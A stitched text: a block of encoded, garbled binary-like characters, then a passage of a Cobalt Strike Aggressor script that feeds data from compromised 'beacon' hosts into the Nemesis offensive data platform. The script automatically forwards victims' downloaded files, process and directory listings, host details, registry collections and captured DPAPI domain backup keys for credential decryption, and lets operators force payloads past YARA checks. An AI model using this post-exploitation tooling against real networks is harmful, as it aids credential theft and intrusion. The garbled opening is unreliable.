zl%~f7bdLLG%LHNh9Vy!+<7-xoLM$S~JLQHWsW;e^*6%-G8UfU=bpsU``T~*r@m{3Y zwbxd#2Dh&OdTUfZx@S6?(j@e|d=B#}_#GPQJe|dhjPg_zMPaQ>-7^PD>Kzhw_NtB$ z^b{V5;Ho_!`4tccr>XP?tEu#cuc-VY$hI0;Pwt?`fpSH~A}Tz9`IR2X_M8sJsr-Th zqKGY&9+WBXq;yC{duxwydrFVY-#Y~ii}9i#PKu7Ej)-_wL~NszJ~}Ea+D`bYjBqPn z=+k{95Pw=B(?xy6ri>W3e=#}$hc2oJ$r@jO8na^1#I>?MVRwj^A6qiNk z+B(Z~)E&i#WnoqUK9S4zuB^8Z$>woH<;)34UBgW~jXM}IY?%yT;m4N1CsHYYv?!JlrLYTCn`?lTGN(qM z#e!a%p2*HPc=SGtk6p@l6`RQV_8!7nE2QOY{vD?Hb7Z9{7i{){Rppz0UtE{@Ze68L zLtfk2I=9XwwVdV9L0vF;VWqjMmELD3ub&*KyxWoFTM}-ilOP!TSD8`!Wr_?x{A{fZ zP3C;qh*6)fC)GstzyqjG)Gp( z$&ix{Fh-M?t`vsys!67a#@JLA$WgUr--!aOC`_{&g39Y4f2)Ez^! zx8m5Ko{AbHthm+&BdXWg@h~{@*fez5p{xE<9*3H`rIz_zd>X1b<|FBM1UqSX6n8UN zFPJ5u6M3tEfvuan>Dz$2-oL%|J6`nF_~~Bj_?F7i|nF=mm6gv%y6#G>}g#O;?%WYhjedCqB+L#HrN3T>$PbFow{@cdp;>i%Sf7gK^ggIf1kj)s)h(ZttqMaaU8xvBS<2+nYN7zMO@gp~EGzzII z`=a@w)iPT%hWip6+Atg*)*;Gc$P)@qi>O;3xpfMohicZ?`^>YiG*rWi&t!^l#sc^` z%9{)j-KlyX2y1|*@=oec1H3`i`pKIN&KOCSagSkQjyf1pz2tEX1$Rg@*!cSoos}!R zZ%aDge)whwdT9szsZTNeIB?9po|tfcpc7%@=>iy1_Q*em_dXg?ng=Se9LXNpW1T6F zrtHb9vO(f%>*QwJ z&xGXM)>q>BES6Z|wl9Qo6M;#buTeW*Q=Jh<8mP-?&@+ zv40$~Ql%50+dBgz2&dCbW*}mH;_=puKsgYJWH2mv@itQ_xL6Xo0bi(5xSDe%hE%*G z*|?TY40bBsJf<3d@@(Wue*A5hwpbhHjUt=TGmW{mLA6mg(CnJHtJo^gPxu&Bf|C~? zS+SUzHo_S*YBOrX?BO$98jT#4g803MnbaK6(4WYD*g_YETFrWywIxB}ZrAcZYc`i_ zcK^Ru9)+_m9z#M0_f1JPW8}|vOqV->e&&@!%9?jN=MSFq2k_a0_{@HMX8U+XbN&Ks z{t?>Q=8ccV&FFc|>v7B@zcK%B(D;LT*ZbYfsy_s^90a&rS+ftieKM?wQDUFOX}3ex z2c53w1eFt%b?C0ucWw|uCwak1o=Ed9Bh~&(iaYJ>qz}5f+5PPkX3w^*R>OFULA>SQ z0LI;A87S*=P`jWs=?#gXbVpMhv zq;oZ(6}5I-WaaP(3JasCj0_^O^1=uTBO|D+j39C{&U(hNs*}u~V+`U`6SchB!0aE5 z&A`eQSG=FIK&mn0+zD|786gRoGx=&D8${&>VVU6u0WQdy|q^1;`}oIDVj&*Z*S=OdPLl19Y^9Oj^tGx32ireW-7H=E}7c> z)*}4Pfyzf!I-=GWHS!*;zZ?r(sPDA;Mz8kKvmc6m#mg5&zgbxQT}ka*;_4mZw_Wt_ z-foY5l+awQcS#u|bdj_hWUE)`kepATCVyn_6?Ueh6u6WypZkLv5{B?N7{#$Ehjx?nk&J|zs z{EniI%(2ScqBz5r&%vL$BXom4b646fdDh()p!xjMR&5@3Kh>BIT_J(TP8Z3=J3g&( zoO@Vjo`18R!gaF~(?5Ru4?do9xBIKrt-$SIbMT(yi*h3iuq_`^oEcJCkO~}NDg&Mg z3p<)+wH6|lV3nsWv z!EOW@T#=iDY~mWUfJcq<>AaAQ9Qbsg#_(yV4va8a33R%L;|YT%pwl-2JJFyW0tmnY zJR${t^s=*y4`k#P*;6p8$Qe2k0v~gegE)Q9O2o{7Q3j zu!j)xEncYUW>F$mv#=Y3d|Q$dij%6Bpc#Yp0x)zhA|FYQnv9~BV>b`GyO0k^2PR-7 z;JOLBIRw%H@(JO<u|%PH&V{zN_y8+5EV0{CymVI1O+adg9wkEceB%k|sP z3`0Iq8{HV>6OvKWY2J3M#=zPP=msI55rrCwMmy0A!dn&~Z*xcWSLF#bbCA!MLU#`G zURltdcm()&8Oa#b9rEagAa4`|ZL38BH;@cL*<_1u2J%)j(3V03@VJd`2KHo)Jd=o8 z;dtFeH37SR:/ format +# Used when constructing the URL to web api, elastic, kibana, etc (e.g., NEMESIS_BASE_URL + "/kibana") +# overwritten by the NEMESIS_BASE_URL environment variable if present +%nemesis::Settings['NemesisBaseUrl'] = $null; + +# The Nemesis web-api HTTP basic auth credentials +# overwritten by the NEMESIS_CREDS environment variable if present +%nemesis::Settings['NemesisCreds'] = $null; + +# 1/0, defines debug JSON output +# overwritten by the NEMESIS_DEBUG_JSON environment variable if present +%nemesis::Settings['DebugJson'] = 0; + +# Underline minute threshold for beacon process listings +%nemesis::Settings['BeaconUnderlineThreshold'] = 120; + + +################################################################# +# +# Registered Commands, Aliases, and Menus +# +################################################################# + +beacon_command_register( + "nemesis_file_analysis", + "Display Nemesis file analysis for a particular submission ID", + "Use: nemesis_file_analysis " +) + +beacon_command_register( + "bof_reg_collect", + "Recursively collect keys from a registry path in a serialized form that Nemesis can ingest.", + "Usage: bof_reg_collect " +) + + +alias bof_reg_collect { + local('$params $args $text $hive $path'); + + if(size(@_) < 2) + { + berror($1, beacon_command_detail("bof_reg_collect")); + return; + } + + $hive = $2; + $path = $3; + + $args = bof_pack($1, "zzz", "bof_reg_collect.nemesis", $hive, $path); + beacon_inline_execute($1, file::ReadBOF($1, "reg_collect"), "go", $args); +} + + +alias upload { + local('$1 $2 $3 $BID $FilePath $Force $YaraResultsRaw %YaraResultsDict $YaraMatches $YaraMatchesString $FileID'); + + $BID = $1; + $FilePath = $2; + $Force = false; + + if($FilePath eq "-f") { + $Force = true; + $FilePath = $3; + } + + if(!-exists $FilePath) { + berror($1, "File path '" . $FilePath . "' doesn't exist!"); + return; + } + + $YaraResultsRaw = http::YaraFile($FilePath); + %YaraResultsDict = json_loads($YaraResultsRaw); + $YaraMatches = %YaraResultsDict["yara_matches"]; + + if(size($YaraMatches) > 0) { + $YaraMatchesString = join(", ", $YaraMatches); + if($Force) { + blog2($BID, "WARNING: forcing an upload despite yara rule matches: " . $YaraMatchesString) + bupload($BID, $FilePath); + } + else { + berror($BID, "Upload blocked because of yara rule matches (use `upload -f ` to force): " . $YaraMatchesString) + } + } + else { + bupload($BID, $FilePath); + } +} + + +alias execute-assembly { + local('$1 $2 $3 $BID $Force $Args $AssemblyPath $YaraResultsRaw %YaraResultsDict $YaraMatches $YaraMatchesString') + + $BID = $1; + $Force = false; + + $Args = replace($0, "execute-assembly ", ""); + + if ($2 eq "-f") { + if ($3 eq "") { + berror($1, "No assembly path passed!"); + return; + } + else { + $AssemblyPath = $3; + $Args = replace($Args, "$3", ""); + $Force = true; + } + } + else { + $AssemblyPath = $2; + $Args = replace($Args, "$2", ""); + } + + $Args = matches($Args, '\s*(.*)\s*')[0]; # Trim whitespaces + + if(!-exists $AssemblyPath) { + berror($1, "Assembly '" . $AssemblyPath . "' doesn't exist!"); + return; + } + + $YaraResultsRaw = http::YaraFile($AssemblyPath); + %YaraResultsDict = json_loads($YaraResultsRaw); + $YaraMatches = %YaraResultsDict["yara_matches"]; + + if(size($YaraMatches) > 0) { + $YaraMatchesString = join(", ", $YaraMatches); + if($Force) { + blog2($BID, "WARNING: forcing execution of an assembly despite yara rule matches: " . $YaraMatchesString) + bexecute_assembly($BID, $AssemblyPath, $Args); + } + else { + berror($BID, "Execution blocked because of yara rule matches (use `execute-assembly -f ` to force): " . $YaraMatchesString) + } + } + else { + bexecute_assembly($BID, $AssemblyPath, $Args); + } +} + + +popup nemesis { + item "Reprocess Nemesis Downloads" { + prompt_confirm("Are you sure you want Nemesis to reprocess ALL existing downloads?", { + privmsg("nemesis-bot", "ReprocessDownloads"); + }); + } +} + +menubar("Nemesis", "nemesis"); + + + +################################################################# +# +# Local Processing Functions +# +################################################################# + +sub nemesis::ProcessFile { + # Submits a file to Nemesis for processing and queries elastic for any data about the file + local('$1 $2 $3 $4 $5 $6 $7 $BID $TargetFileFolder $TargetFilePath $TargetFileName $TargetFileSize $HideResults $TimeStamp $FilePath $BID $FileID $MessageID %Output $Results'); + + # $BID, $LocalFilePath, $TargetFileFolder, $TargetFileName, $TimeStamp + + $BID = $1; + $FilePath = $2; # Path to the file on the current machine + $TargetFileFolder = $3; # Folder for the file on target + $TargetFileName = $4; # Name of the file on target + $TargetFileSize = $5; # Size of the file on target + $TimeStamp = $6; # The timestamp passed from the beacon metadata + $HideResults = $7; # whether to hide results or display them to a beacon + + $TargetFilePath = replace($TargetFileFolder, "\\\\", "/") . $TargetFileName; + + # Post the file itself to the API, get the UUID back + $FileID = http::UploadFile($FilePath); + + if($FileID) { + logger::WriteVerbose("$TargetFilePath uploaded, UUID: $FileID"); + + if ($TargetFileName hasmatch "bof_reg_collect.nemesis") { + %Output = %( + data => $FileID, + is_file => "true", + tags => @("bof_reg_collect") + ); + + # post the metadata to the correct API endpoint + $MessageID = http::PostData($BID, "raw_data", @(%Output), $TimeStamp); + } else { + %Output = %( + object_id => $FileID, + path => $TargetFilePath, + size => $TargetFileSize + ); + + # post the metadata to the correct API endpoint + $MessageID = http::PostData($BID, "file_data", @(%Output), $TimeStamp); + } + + if(!$HideResults) { + blog($BID, "Nemesis: uploaded $TargetFileName for analysis\ (object_id: " . $FileID . " , submission_id: " . $MessageID . ")"); + } + logger::WriteVerbose("MessageID: ". $MessageID); + + # 30 retries, 3 second sleep between each + $Results = http::GetFileResults($MessageID, 30, 3); + if(%nemesis::Settings['DebugJson']) { + println("Elastic file results: " . $Results); + } + + if($Results) { + if(!$HideResults) { + nemesis::DisplayFileResults($BID, $Results); + } + } + else { + berror($BID, "Timeout in retrieving Nemesis analysis.\nTry shortly with `nemesis_file_analysis " . $MessageID . "`"); + return $null; + } + } + else { + logger::WriteError("Error in uploading file to Nemesis: no file UUID returned"); + berror($BID, "Error in uploading file to Nemesis: no file UUID returned"); + } + + if(-exists $FilePath) { + deleteFile($FilePath); + } +} + +sub nemesis::DisplayFileResults { + local('$1 $2 $BID $results $path $size $sha1 $magicType $objectId $messageId $contains_dpapi $has_parsed_credentials') + local('$has_deserialization $encrypted $message $kibana_link $file_message $has_noseyparker_results') + + $BID = $1; + $results = $2; + + $path = $results["hits"]["hits"][0]["_source"]["path"]; + $size = $results["hits"]["hits"][0]["_source"]["size"]; + $sha1 = $results["hits"]["hits"][0]["_source"]["hashes"]["sha1"]; + $magicType = $results["hits"]["hits"][0]["_source"]["magicType"]; + $objectId = $results["hits"]["hits"][0]["_source"]["objectId"]; + $messageId = $results["hits"]["hits"][0]["_source"]["metadata"]["messageId"]; + + $contains_dpapi = false; + $has_parsed_credentials = false; + $has_deserialization = false; + $encrypted = false; + $has_noseyparker_results = false; + + if("containsDpapi" in $results["hits"]["hits"][0]["_source"]) { + $contains_dpapi = $results["hits"]["hits"][0]["_source"]["containsDpapi"]; + } + + if("noseyparker" in $results["hits"]["hits"][0]["_source"]) { + $has_noseyparker_results = true; + } + + if("parsedData" in $results["hits"]["hits"][0]["_source"]) { + if("hasParsedCredentials" in $results["hits"]["hits"][0]["_source"]["parsedData"]) { + $has_parsed_credentials = $results["hits"]["hits"][0]["_source"]["parsedData"]["hasParsedCredentials"]; + } + } + + try { + if("analysis" in $results["hits"]["hits"][0]["_source"]) { + if("dotnetAnalysis" in $results["hits"]["hits"][0]["_source"]["analysis"]) { + if("hasDeserialization" in $results["hits"]["hits"][0]["_source"]["analysis"]["dotnetAnalysis"]) { + $has_deserialization = $results["hits"]["hits"][0]["_source"]["analysis"]["dotnetAnalysis"]["hasDeserialization"]; + } + } + } + } + catch $message {} + + try { + if("parsedData" in $results["hits"]["hits"][0]["_source"]) { + if("officeDocOle" in $results["hits"]["hits"][0]["_source"]["parsedData"]) { + if("encrypted" in $results["hits"]["hits"][0]["_source"]["parsedData"]["officeDocOle"]) { + $encrypted = $results["hits"]["hits"][0]["_source"]["parsedData"]["officeDocOle"]["encrypted"]; + } + } + else if("officeDocNew" in $results["hits"]["hits"][0]["_source"]["parsedData"]) { + if("encrypted" in $results["hits"]["hits"][0]["_source"]["parsedData"]["officeDocNew"]) { + $encrypted = $results["hits"]["hits"][0]["_source"]["parsedData"]["officeDocNew"]["encrypted"]; + } + } + } + } + catch $message {} + + # blog($BID, "File '" . $TargetFileName . "' analyzed by Nemesis (object_id: " . $objectId .")"); + + $file_message = "Nemesis file analyzed : " . $path . "\n"; + $file_message .= " object_id : " . $objectId ."\n"; + # $file_message .= " submission_id : " . $messageId ."\n"; + $file_message .= " sha1 : " . $sha1 . "\n"; + $file_message .= " magic : " . $magicType . "\n"; + + # $kibana_link = %nemesis::Settings['KibanaUrl'] . "app/discover#/?_a=(filters:!((query:(match_phrase:(objectId:'" . $objectId . "')))),index:'26360ae8-a518-4dac-b499-ef682d3f6bac')&_g=(time:(from:now-1y%2Fd,to:now))"; + + if ($contains_dpapi) { + $file_message .= " contains_dpapi : True\n"; + } + if ($has_parsed_credentials) { + $file_message .= " has_parsed_creds : True\n"; + } + if ($has_deserialization) { + $file_message .= " has_deserialization : True\n"; + } + if ($encrypted) { + $file_message .= " encrypted : True\n"; + } + if ($has_noseyparker_results) { + $file_message .= " NoseyParker results : True\n"; + } + + # $file_message .= " " . $kibana_link . "\n"; + + blog($BID, $file_message); +} + + +sub nemesis::ReprocessDownloads { + local('$download $BID $TimeStamp $TargetFileFolder $TargetFileName $TargetFileName $TargetFileSize $TeamServerPath $LastIndex $Filename $LocalFilePath'); + + println("[Nemesis] Reprocessing Nemesis downloads!"); + + # @(%(date => '1659127565809', fid => '9', path => 'C:\Temp\', size => '8', lpath => '/home/user/cobaltstrike/downloads/f11a87fd6', host => '192.168.50.86', name => 'out.txt', rcvd => '8', id => '4bac4c1d-3986-446f-93e2-d3090581d589', bid => '339429212')) + foreach $download (downloads()) + { + $BID = $download['bid']; + $TargetFileFolder = $download['path']; + $TargetFileName = $download['name']; + $TargetFileSize = $download['size']; + $TeamServerPath = $download['lpath']; + $TimeStamp = $download['date']; + + $LastIndex = [$TeamServerPath lastIndexOf: "/"]; + $Filename = substr($TeamServerPath, ($LastIndex + 1)); + + # sync the download locally in case we're running this script on a remote system + $LocalFilePath = %nemesis::Settings['DownloadsDir'] . $Filename; + + sync_download($TeamServerPath, $LocalFilePath, lambda({ + logger::WriteVerbose("[nemesis::ReprocessDownloads] Synced the file ". $LocalFilePath); + nemesis::ProcessFile($BID, $LocalFilePath, $TargetFileFolder, $TargetFileName, $TargetFileSize, $TimeStamp, true); + }, \$LocalFilePath, \$BID, \$TargetFileFolder, \$TargetFileName, \$TargetFileSize, \$TimeStamp)); + + # TODO: delete download after sync? + } +} + + +################################################################# +# +# Custom Event Handlers +# +################################################################# + +sub Handle_beacon_output_ls { + # Note: not currently used + # [+] Unhandled event beacon_output_ls: + # 0: 14148 + # 1: C:\users\* + # D 0 05/22/2019 01:18:42 . + # D 0 05/22/2019 01:18:42 .. + # D 0 09/15/2018 00:42:33 All Users + # D 0 05/22/2019 02:42:37 Default + # 2: 1560844546441 + local('$1 @Args $BID @Lines $Line @Parts $PathBase $Size $Type $ObjectType $Modified $Name @Files %File $MessageID $Date'); + + @Args = $1; + $BID = @Args[0]; + + # don't process if things aren't initialized correctly yet + if(!$NemesisReady) {return $null;} + + # if the GUI synced settings from a server, the main Nemesis code is also running on the teamserver, + # so don't handle downloads in the GUI so things aren't double-processed + if(!$IsHeadlessClient && $ClientSyncedFromServer) {return $null;} + + @Lines = split('\n', @Args[1]); + $PathBase = replace(left(@Lines[0], strlen(@Lines[0]) - 1), "\\\\", "/"); + + @Files = @(); + + foreach $Line (sublist(@Lines, 1)) { + @Parts = split('\t', $Line); + + $Type = @Parts[0]; + $Size = @Parts[1]; + + # date format: 02/01/2023 10:19:40 + $Date = parseDate('MM/dd/yyyy kk:mm:ss', @Parts[2]); + $Modified = formatDate($Date, "yyyy-MM-dd'T'HH:mm:ss.SSS'Z'"); + + $Name = @Parts[3]; + $ObjectType = "other"; + + if($Type eq 'F') { + $ObjectType = "file"; + } + else if($Type eq 'D') { + $ObjectType = "folder"; + } + + if (($Name ne ".") && ($Name ne "..")) { + %File = %( + path => $PathBase . $Name; + type => $ObjectType; + size => $Size; + modification_time => $Modified; + ); + + add(@Files, %File); + } + } + + $MessageID = http::PostData($BID, "file_information", @Files); + logger::WriteVerbose("[Handle_beacon_output_ls] MessageID: ". $MessageID); +} + + +sub Handle_beacon_output_ps { + # when used through agscript, syncs process data to Nemesis + + # [+] Unhandled event beacon_output_ps: + # 0: 14148 + # 1: [System Process] 0 0 + # System 0 4 + # Secure System 4 88 + # Registry 4 152 + # + # 2: 1560844380002 + local('$1 @Args $BID @Processes @Lines $Line @Parts %Process $MessageID'); + + @Args = $1; + $BID = @Args[0]; + + # don't process if things aren't initialized correctly yet + if(!$NemesisReady) {return $null;} + + # if the GUI synced settings from a server, the main Nemesis code is also running on the teamserver, + # so don't handle downloads in the GUI so things aren't double-processed + if(!$IsHeadlessClient && $ClientSyncedFromServer) {return $null;} + + @Processes = @(); + + @Lines = split('\n', @Args[1]); + foreach $Line (@Lines) { + @Parts = split('\t', $Line); + + # See the `ProcessIngestion` message definition in nemesis.proto + %Process = %( + name => @Parts[0]; + command_line => $null; + file_name => $null; + memory => $null; + process_id => @Parts[2]; + parent_process_id => @Parts[1]; + start_time => $null; + arch => @Parts[3]; + token => %( + user => %( + name => @Parts[4]; + ); + session => @Parts[5]; + ); + ); + + add(@Processes, %Process); + } + + $MessageID = http::PostData($BID, "process", @Processes); + logger::WriteVerbose("[Handle_beacon_output_ps] MessageID: ". $MessageID); +} + + +sub Handle_downloads { + # [+] Undocumented event: downloads + # @(%(date => '1659127565809', fid => '9', path => 'C:\Temp\', size => '8', lpath => '/home/user/cobaltstrike/downloads/f11a87fd6', host => '192.168.50.86', name => 'out.txt', rcvd => '8', id => '4bac4c1d-3986-446f-93e2-d3090581d589', bid => '339429212')) + local('$1 %Args $BID $TimeStamp $TargetFileFolder $TargetFileName $TargetFileSize $LastIndex $LocalFilePath $Filename $TeamServerPath $response $Filename'); + + # don't process if things aren't initialized correctly yet + if(!$NemesisReady) {return $null;} + + # if the GUI synced settings from a server, the main Nemesis code is also running on the teamserver, + # so don't handle downloads in the GUI so things aren't double-processed + if(!$IsHeadlessClient && $ClientSyncedFromServer) {return $null;} + + %Args = $1; + $BID = %Args[0]['bid']; + $TimeStamp = %Args[0]['date']; + $TargetFileFolder = %Args[0]['path']; + $TargetFileName = %Args[0]['name']; + $TargetFileSize = %Args[0]['size']; + $TeamServerPath = %Args[0]['lpath']; + + $LastIndex = [$TeamServerPath lastIndexOf: "/"]; + $Filename = substr($TeamServerPath, ($LastIndex + 1)); + + # sync the download locally in case we're running this script on a remote system + $LocalFilePath = %nemesis::Settings['DownloadsDir'] . $Filename; + + sync_download($TeamServerPath, $LocalFilePath, lambda({ + logger::WriteVerbose("[Handle_downloads] Synced the file ". $LocalFilePath); + nemesis::ProcessFile($BID, $LocalFilePath, $TargetFileFolder, $TargetFileName, $TargetFileSize, $TimeStamp, false); + }, \$LocalFilePath, \$BID, \$TargetFileFolder, \$TargetFileName, \$TargetFileSize, \$TimeStamp)); +} + + +sub Handle_beacon_output { + local('$IsHeadlessClient $ClientSyncedFromServer $1 %Args $BID $Output $FileID $DomainController $BackupkeyGuid $RandomName $BackupkeyB64 %JsonData $JsonString %RawData $MessageID'); + + # don't process if things aren't initialized correctly yet + if(!$NemesisReady) {return $null;} + + # if the GUI synced settings from a server, the main Nemesis code is also running on the teamserver, + # so don't handle downloads in the GUI so things aren't double-processed + if(!$IsHeadlessClient && $ClientSyncedFromServer) {return $null;} + + %Args = $1; + $BID = %Args[0]; + $Output = %Args[1]; + + # Handle domain backupkey output from SharpDPAPI + if ($Output hasmatch '\[\*\] Using current domain controller : ([a-zA-Z0-9\.-]+)\s*\[\*\] Preferred backupkey Guid : ([0-9a-fA-F]{8}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{12})\s*\[\*\]') { + + $DomainController = matched()[0]; + $BackupkeyGuid = matched()[1]; + + # regex being weird, gotta nest this here for some reason + if($Output hasmatch '\[\*\] Key : ([a-zA-Z0-9/+=]+)') { + $BackupkeyB64 = matched()[0]; + + %JsonData = %( + domain_controller => $DomainController, + domain_backupkey_guid => $BackupkeyGuid, + domain_backupkey_b64 => $BackupkeyB64 + ); + $JsonString = json_dumps(%JsonData); + + # write up the JSON string to a random file name and upload it to Nemesis + $RandomName = %nemesis::Settings['DownloadsDir'] . helpers::GetRandomFileName(); + $OutFile = openf(">" . $RandomName); + writeb($OutFile, $JsonString); + closef($OutFile); + + # upload the file to Nemesis and get a Nemesis UUID back + $FileID = http::UploadFile($RandomName); + if(%nemesis::Settings['DebugJson']) { + println("Domain BackupKey RandomName: " . $RandomName . ", Nemesis UUID: " . $FileID); + } + + deleteFile($OutFile); + + %RawData = %( + tags => @("dpapi_domain_backupkey"); + is_file => "true"; + data => $FileID; + ); + + $MessageID = http::PostData($BID, "raw_data", @(%RawData)); + blog($BID, "Nemesis: registered DPAPI domain backupkey (GUID: " . $BackupkeyGuid . ")\n decrypting any existing linked DPAPI masterkeys/blobs"); + logger::WriteVerbose("DPAPI domain backupkey MessageID: ". $MessageID); + } + } +} + + +sub Handle_beacon_initial { + local('$1 %Args $BID $Hostname $OS $Arch $ProcessName $ProcessId $ProcessUsername @AgentIds $Ver $Build $Description %HostJsonData $HostJsonString %HostRawData $HostMessageID %AgentJsonData $AgentJsonString %AgentRawData $AgentMessageID'); + + # don't process if things aren't initialized correctly yet + if(!$NemesisReady) {return $null;} + + # if the GUI synced settings from a server, the main Nemesis code is also running on the teamserver, + # so don't handle output in the GUI so things aren't double-processed + if(!$IsHeadlessClient && $ClientSyncedFromServer) {return $null;} + + %Args = $1; + $BID = %Args[0]; + + $Hostname = beacon_info($BID, "computer"); + $OS = lc(beacon_info($BID, "os")); + @AgentIds = @($BID, "testing"); + + if(lc($OS) eq "windows") { + $Ver = beacon_info($BID, "ver"); + $Build = beacon_info($BID, "build"); + $Description = "$Ver - $Build"; + } + else { + # TODO - basic linux ssh info? + } + + %HostJsonData = %( + hostname => $Hostname, + description => $Description, + os_type => "windows", + agent_ids => @AgentIds + ); + + $HostJsonString = json_dumps(%HostJsonData); + + %HostRawData = %( + tags => @("host_data_json"); + data => $HostJsonString + ); + + $HostMessageID = http::PostData($BID, "raw_data", @(%HostRawData)); + logger::WriteVerbose("[Handle_beacon_initial] Host MessageID: ". $HostMessageID); + + $Arch = lc(beacon_info($BID, "arch")); + $ProcessName = beacon_info($BID, "process"); + $ProcessId = beacon_info($BID, "pid"); + $ProcessUsername = beacon_info($BID, "user"); + + %AgentJsonData = %( + agent_id => $BID, + agent_type => "beacon", + arch => $Arch, + is_alive => true, + process_name => $ProcessName, + process_id => $ProcessId, + process_username => $ProcessUsername + ); + + $AgentJsonString = json_dumps(%AgentJsonData); + + %AgentRawData = %( + tags => @("agent_data_json"); + data => $AgentJsonString + ); + + $AgentMessageID = http::PostData($BID, "raw_data", @(%AgentRawData)); + logger::WriteVerbose("[Handle_beacon_initial] Agent MessageID: ". $HostMessageID); +} + +################################################################# +# +# Initialization Code +# +################################################################# + +sub nemesis::Initialize { + # let the ENV variables take precedence over settings synced from the server + if([System getenv: "NEMESIS_COBALTSTRIKE_DOWNLOADS_DIR"]) { + %nemesis::Settings['DownloadsDir'] = [System getenv: "NEMESIS_COBALTSTRIKE_DOWNLOADS_DIR"]; + } + if([System getenv: "NEMESIS_BASE_URL"]) { + %nemesis::Settings['NemesisBaseUrl'] = [System getenv: "NEMESIS_BASE_URL"]; + } + if([System getenv: "NEMESIS_CREDS"]) { + %nemesis::Settings['NemesisCreds'] = [System getenv: "NEMESIS_CREDS"]; + } + if([System getenv: "NEMESIS_DEBUG_JSON"]) { + %nemesis::Settings['DebugJson'] = iff([System getenv: "NEMESIS_DEBUG_JSON"] eq "1", 1, 0); + } + if([System getenv: "NEMESIS_PROJECT"]) { + %nemesis::Settings['NemesisProject'] = [System getenv: "NEMESIS_PROJECT"]; + } + if([System getenv: "NEMESIS_DATA_EXPIRATION_DAYS"]) { + %nemesis::Settings['DataExpirationDays'] = [System getenv: "NEMESIS_DATA_EXPIRATION_DAYS"]; + } + + if(!$ClientSyncedFromServer) { + # only check these settings if we're NOT a GUI client that synced from the server + if(!%nemesis::Settings['DownloadsDir']) { + logger::WriteError("The environment variable NEMESIS_COBALTSTRIKE_DOWNLOADS_DIR is not set. Quiting..."); + if (!$IsHeadlessClient) { + show_error("The environment variable NEMESIS_COBALTSTRIKE_DOWNLOADS_DIR is not set. Nemesis will not work."); + } + return false; + } + + if(-exists %nemesis::Settings['DownloadsDir']) { + } else { + logger::WriteError("The downloads directory " . %nemesis::Settings['DownloadsDir'] . " does not exist. Quiting..."); + if (!$IsHeadlessClient) { + show_error("The downloads directory " . %nemesis::Settings['DownloadsDir'] . " does not exist. Nemesis will not work."); + } + return false; + } + + if(-isDir %nemesis::Settings['DownloadsDir']) { + } else { + logger::WriteError("The downloads directory " . %nemesis::Settings['DownloadsDir'] . " is not a directory. Quiting..."); + if (!$IsHeadlessClient) { + show_error("The downloads directory " . %nemesis::Settings['DownloadsDir'] . " is not a directory. Nemesis will not work."); + } + return false; + } + } + + if(!%nemesis::Settings['NemesisBaseUrl']) { + logger::WriteError("The environment variable NEMESIS_BASE_URL is not set. Quiting..."); + if (!$IsHeadlessClient) { + show_error("The environment variable NEMESIS_BASE_URL is not set or wasn't synced from a server. Nemesis will not work."); + } + return false; + } + + if(!([(%nemesis::Settings['NemesisBaseUrl']) endsWith: "/"])) { + %nemesis::Settings['NemesisBaseUrl'] .= "/" + } + + %nemesis::Settings['NemesisApiUrl'] = %nemesis::Settings['NemesisBaseUrl'] . "api/"; + %nemesis::Settings['NemesisYaraUrl'] = %nemesis::Settings['NemesisBaseUrl'] . "yara/"; + %nemesis::Settings['ElasticsearchUrl'] = %nemesis::Settings['NemesisBaseUrl'] . "elastic/"; + %nemesis::Settings['KibanaUrl'] = %nemesis::Settings['NemesisBaseUrl'] . "kibana/"; + + if(!%nemesis::Settings['NemesisCreds']) { + logger::WriteError("The environment variables NEMESIS_CREDS is not set. Quiting..."); + if (!$IsHeadlessClient) { + show_error("The environment variable NEMESIS_CREDS is not set or wasn't synced from a server. Nemesis will not work."); + } + return false; + } + + return true; +} + +%EventHandlerMap = %( + beacon_output_ls => &Handle_beacon_output_ls, + beacon_output_ps => &Handle_beacon_output_ps, + downloads => &Handle_downloads, + beacon_output => &Handle_beacon_output, + beacon_initial => &Handle_beacon_initial +); + +sub nemesis::StartLogging { + on * { + local('$Event $func %Object'); + $Event = $1; + + $func = %EventHandlerMap[$Event]; + if($func) { + [$func: subarray(@_, 1)]; + } + } +} + + +################################################################# +# +# Entrypoint +# +################################################################# + +global('$IsHeadlessClient $ClientSyncedFromServer $NemesisReady'); +$NemesisReady = false; # true once things are all initialized +$IsHeadlessClient = helpers::IsHeadlessClient(); +$ClientSyncedFromServer = false; # set to true if the GUI client synced from a headless server + +logger::Initialize($IsHeadlessClient); + +sub nemesis::SyncFromServer { + # if we're in the GUI, try to sync settings from the server + privmsg("nemesis-bot", "GET NemesisBaseUrl"); + privmsg("nemesis-bot", "GET NemesisCreds"); + privmsg("nemesis-bot", "GET NemesisProject"); + sleep(2000); + privmsg(mynick(), "Nemesis ready"); +} + +on ready { + println("IsHeadlessClient: $IsHeadlessClient"); + if(!$IsHeadlessClient) { + fork(&nemesis::SyncFromServer); + } + else { + privmsg(mynick(), "Nemesis ready"); + } +} + +on event_private { + # Used for syncing configuration from the headless server to the client + local('$from $to $message $1 $2 $3'); + + $from = $1; + $to = $2; + $message = $3; + + if($message ismatch "Nemesis ready") { + # we got a signal that config syncing is completed + if(nemesis::Initialize()) { + if($IsHeadlessClient) { + logger::WriteVerbose("Starting logging via agscript"); + } + else { + logger::WriteVerbose("Starting logging in the CS Client GUI"); + } + nemesis::StartLogging(); + + logger::WriteVerbose("Nemesis config settings:"); + logger::WriteVerbose(" ClientSyncedFromServer : " . $ClientSyncedFromServer); + local('$key') + foreach $key (keys(%nemesis::Settings)) + { + logger::WriteVerbose(" " . $key . " : " . %nemesis::Settings[$key]); + } + + $NemesisReady = true; + } + else { + logger::WriteError("Failed to initialize. Aborting startup."); + + if($IsHeadlessClient) { + [System exit: 1]; + } + } + } + + if($IsHeadlessClient) { + if($to ismatch "nemesis-bot") { + if ($message ismatch "GET NemesisBaseUrl") { + privmsg($from, "SET NemesisBaseUrl " . %nemesis::Settings['NemesisBaseUrl']); + } + if ($message ismatch "GET NemesisCreds") { + privmsg($from, "SET NemesisCreds " . %nemesis::Settings['NemesisCreds']); + } + if ($message ismatch "GET NemesisProject") { + privmsg($from, "SET NemesisProject " . %nemesis::Settings['NemesisProject']); + } + if ($message ismatch "ReprocessDownloads") { + nemesis::ReprocessDownloads(); + elog($from . " triggered reprocessing of existing Nemesis downloads"); + } + } + } + else { + if(($from ismatch "nemesis-bot") && ($to ismatch mynick())) { + $ClientSyncedFromServer = true; + if($message ismatch "SET NemesisBaseUrl .*") { + %nemesis::Settings['NemesisBaseUrl'] = substr($message, 19); + 